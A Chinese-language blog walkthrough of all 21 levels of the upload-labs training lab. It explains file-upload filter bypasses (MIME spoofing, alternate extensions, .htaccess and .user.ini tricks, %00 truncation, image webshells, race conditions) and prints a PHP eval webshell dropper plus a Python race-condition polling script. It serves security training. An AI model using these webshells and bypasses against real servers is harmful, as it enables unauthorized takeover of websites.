首页 > 其他分享 >upload-labs 1到21题通关详解

upload-labs 1到21题通关详解

时间:2023-06-03 18:24:16浏览次数:39  
标签:文件 21 upload labs ext file php 上传

第一题

直接查看源码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

  可以看到上传类型只有这三种

首先判断检查代码在前端还是后端:
上传php文件使用bp抓包

 可以看到没有抓到任何东西就被拦截了,因此是在前端验证

方法1:在前端修改源码

 复制这一段后在console中粘贴修改并回车

 重新上传,就能上传成功,

查看上传文件夹

 上传成功。

使用中国蚁剑连接成功

方法2:将php文件改后缀名后用bp抓包

 成功抓取

修改完后forward

上传成功

 第二题

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

  可以看到是对upload_file的type进行了判断

上传php文件直接使用bp抓包可以抓到,因此是后端进行验证

 这里content-type是application/cotet-stream

改为image/jpeg或png等都可以,forward

 后台看到上传成功。

 蚁剑连接

 每次成功后记得清空文件

第三题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

trim为去除两端空格

deldot为删除末尾的点

strrchr为指定符号及其之后的字符串

 过滤函数应该是将文件名弄成一个日期加随机数的一串数字

试一试

 换了随机的文件名

且不允许上传php等后缀的文件

可以使用php5或者phtml等后缀绕过

但要记得在apache配置中加上

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

抓包

 

 还好右边可以看到上传后的文件名

 

蚁剑连接即可

 第四题

 这道题把能想到的后缀都过滤了

不能通过修改后缀名的方式上传

需要先上传.htaccess文件(apache的配置文件,是伪静态的使用说明)

<FilesMatch "small.jpg">
SetHandler application/x-httpd-php
</FilesMatch>  

命名为.htaccess这个文件是伪静态文件也就是说,将文件中含有small.jpg文件用PHP代码解析执行

如果没有第一行和第三行那两行代码直接上传,会导致所有上传的文件都按照php文件执行

注意:.htaccess文件只能针对Apache环境

蚁剑直接连接图片连接,连接成功

 第五题

这道题专门过滤了.htassess文件

但是没有过滤.ini

因此这次使用.user.ini配置文件

.htaccess配置文件只针对apache服务器,但.user.ini支持Nginx服务器

.user.ini的运行条件:

服务器脚本语言为PHP  
服务器使用CGI/FastCGI模式  
多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
上传目录下要有可执行的php文件

内容中只写一句话

auto_prepend_file = ctf.png (含有php代码的文件)

注意.user.ini相当于文件包含,在本目录下必须存在.php文件

upload目录下有一个readme.php文件的

xampp中最好配置一下fastcgi,这里不再演示

第六题

查看源码发现少了对大小写的过滤

 

 上传成功,使用蚁剑连接

 第七题

 没有首尾去空

抓包php后加空格即可绕过

 第八题

 没有去掉最后的点了

文件后缀加.上传

蚁剑连接时记得带点。

第九题

 没有去掉后面的::$DATA

 

 第十题

这一关将.ini还有.htaccess后缀都进行了过滤

且去掉了点,转换为小写,去掉::$DATA,并去掉了空格

但这里查看代码

 删除文件末尾的点没有循环只进行了一次

因此文件名后缀可以改为. .

点空格点 这样在经过所有过滤后还剩一个.可以绕过

第十一题

将列举的后缀名全都替换为空

 可以参考sql注入中的双写绕过

注意不能对php双写绕过,因为phphpp第一个php就会过滤掉了

可以pphtht

 

 第十二题

 strrpos+1是查找点在文件名中最后出现的位置(strpos从0开始取)

strpos为第一次出现的位置。

substr为截取int之后的内容,例如substr('123456',3),substr返回456

例如ctf.php

这里strrpos函数返回3,加1等于4,substr函数最后返回php

所以这里的作用依然是截取后缀

使用%00截断

要求:

php版本小于5.3.4
php的magic_quotes_gpc为OFF状态

我的php是7版本以上因此不适用

 第14题

图片马

制作图片马可以用cmd或者使用notepad打开图片在后面添加一句话木马都可以

 上传后用文件包含打开

因为图片马不能直接用蚁剑进行连接因为任然会被解析为image

所以必须利用文件包含或者.htaccess等漏洞

这里题目给出了测试

 发现最后的一句话木马没有显示所以已经生效,使用蚁剑连接

 第15题

一样,使用burpsuite来绕过

 

 第16题

 直接上传图片马

文件包含成功

  exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块

 第十七题

二次渲染绕过

 上传图片马后用蚁剑连接发现报错

 可以看到新上传的图片没有一句话木马了。

通过010editer对比哪部分没有渲染

 在相同的地方插入一句话木马,这样就不会被渲染掉。

 第十八题

查看源码,在上传文件之后如果发现不在那三个类型里面就会删掉

如果直接上传图片马肯定可以成功,但这里没有文件包含漏洞供我们使用,因此只能上传php木马

这里源代码是先上传后如果不满足后缀要求又删除的,因此可以只要在文件上传后到删除的那段时间访问到我们的木马文件即可,但这里即使访问到木马文件,在被删除之后也不能访问了,因此需要通过一句话木马在upload目录下创建一个文件,文件里才是我们要用的一句话木马,这就是条件竞争

根据以上原理,先使用bp一直重放包,再使用python循环读创造木马文件,只要读到一次即可创建木马文件,之后访问木马文件即可。

要重放的一句话木马为:

<?php fwrite(fopen('muma.php','w'),'<?php @eval($_POST[123123])?>')?>

 python脚本:

import requests

url='http://192.168.102.1/upload-labs-master/upload-labs-master/upload/1.php'

while True:
    html=requests.get(url)
    if html.status_code==200:
        print('成功')
        break

 第十九题

审计代码

首先检查扩展名,然后检查文件大小,然后检查文件是否存在,然后移动文件,最后对文件重命名,之后返回成功

这里可以上传一张图片马,然后利用文件包含漏洞

也可以通过.php.7z文件后缀,这样7z不会解析,而是向前解析php

因此使用bp重放7z文件,再用python尝试访问该文件

7z后缀的一句话木马 与上一题一样

 这道题可能是作者笔误,上传目录不是upload

而是再upload上一级用upload拼接

因此脚本应该是

 第20题

文件保存名用户可控,注意move_uploaded_file()有一个特性,会忽略掉文件末尾的/.

因此上传的php后加上/.即可绕过

 第21题

首先检查type

检查post的文件名,如果不为空则为post的,否则为上传的文件名

拆分文件名为数组,并全都化为小写。

数组最后一个元素为ext,检查ext

满足后定义新文件名为数组的第一个元素拼接数组下标为count(file)-1的元素(为什么不直接拼接ext?)

通过新文件名上传。

显然上面直接拼接ext更加方便,但这里拼接了数组下标为count(file)-1的元素,就导致漏洞出现

如果count=2,那么会拼接数组的第2个元素(数组下标为1)

如果数组下标为1的元素刚好为空,最后一个元素又符合要求,第一个元素又是php结尾不就可以了

想法是这样,但其实并不知道怎么做,看了大佬的解法才知道原来可以post多个值,作为数组元素上传,这样可以直接绕过第2个元素上传

 至于为什么加/

因为我的如果不加/会显示上传错误,加了/后也不影响蚁剑连接

 上传成功后连蚁剑即可。

 

标签:文件,21,upload,labs,ext,file,php,上传
From: https://www.cnblogs.com/limihacker/p/17449844.html

相关文章

  • 闲鱼自动化软件——筛选/发送系统 V21已经测试完毕
    更新最近项目比较多,空闲时间较少,软件更新的速度有点慢。虽然一直在积累更新的点,也一直在写写停停,还有很多想加进去的想法,和想提升的地方没有写好。还有一个压力稍小的点,就是1.1.20版一直在稳定使用。与其说是例行更新,倒不是如说是优化更多一些:原来虽然使用了自动排版的代码,但当屏......
  • FL Studio 21 终身免费升级高级完整解锁版已经到来啦,fl 21配置要求语言切换
    说到制作电音的软件,兔八哥爱分享一定会把FLStudio放到第一个来讲。水果是一款为了电子音乐而生的的宿主软件。水果,独特的节拍音序器组件和通道机架与混音台模块打造的编曲“块”的思路。是极为适合于电子音乐的编排。而且随着水果版本不断地升级,现在不仅只适用于电子音乐,也可以完......
  • FL Studio 21官方中文版重磅发布啦,多样主题随心换!
    根据大众需求,FLStudio21官方中文版引入了令人兴奋的工作流程选项,包括分组乐器频道,播放列表轨道和混音器轨道;直接录制到指定的播放列表曲目,前或后FX;Stepsequencer循环的返回等等。FLStudio的软件免费升级更新政策能坚持25年,因此所有FLStudio用户均可免费更新。2023年推出的F......
  • CF321E - Ciel and Gondolas
    考虑\(dp_{i,j}\)表示用\(i\)条船载走前\(j\)个人的最小贡献,\(w_{i,j}\)表示区间\([i,j]\)里的人同乘一条船的代价。则\(dp_{i,j}=\min_{1\lek\ltj}(dp_{i-1,k}+w_{k+1,j})\)。我们发现,\(w_{i,j}\)可以通过\(w_{i,j-1}+s_{j,j}-s_{j,i-1}\)递推计算。其中\(s_{i,......
  • 5.21 面向对象案例分析三
    狗的一个类,包括名字,颜色,年龄;典型的java类的一段代码classDog{privateStringname;privateStringcolor;privateintage;publicDog(){}publicDog(Stringname,Stringcolor,intage){this.name=name;this.color=color;......
  • MISC|[GKCTF 2021]签到
    流量分析题追踪http流量,在tcp.streameq5处发现与flag相关字符从QER1=cat+%2Ff14g%7Cbase64这里可以看出数据是做了base64处理将返回的16进制数据转为字符,再进行base64解码得到以下字符wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQDjM......
  • 2015.4.21.09.05_多态_2015.4.21_深入理解java多态性_0.01
    深入理解Java多态性多态性是指允许不同类的对象对同一消息作出响应。多态性包括参数化多态性和包含多态性。多态性语言具有灵活、抽象、行为共享、代码共享的优势,很好的解决了应用程序函数同名问题。多态有两种表现形式:重载和覆盖首先说重载(overload),是发生在同一类中。与什么父类......
  • 论文解读 | IROS 2021 | PTT:用于点云中3D单对象跟踪的点-轨道-变压器模块
    原创|文BFT机器人01背景在自动驾驶、机器人导航和增强现实等领域,3D单目标跟踪是一个重要的问题。传统的方法通常使用基于图像或激光雷达数据的2D或3D物体检测器来检测和跟踪目标。然而,这些方法通常需要大量的计算资源,并且对于复杂场景中的小目标或遮挡目标表现不佳。3D单目标跟......
  • 三个博弈-巴什博奕、威佐夫博弈、尼姆博弈。acm博弈算法笔记HDU 2149,1850,1527
    博弈论(一)、acm博弈基础算法BashGame,NimGame和WythoffGame(即巴什博奕、尼姆博弈、威佐夫博弈)Bash  Game: 同余理论Nim   Game: 异或理论WythoffGame: 黄金分割(二)、三个博弈。1、巴什博奕。只有一堆n个物品,两个人轮流从这堆物品中取物, 规定每次至少取一个,......
  • ICPC2015(沈阳)HDU5521 建图技巧+最短路
    MeetingTimeLimit:12000/6000MS(Java/Others)  MemoryLimit:262144/262144K(Java/Others)TotalSubmission(s):3533  AcceptedSubmission(s):1136ProblemDescriptionBessieandherfriendElsiedecidetohaveameeting.However,afterFarmerJohndecor......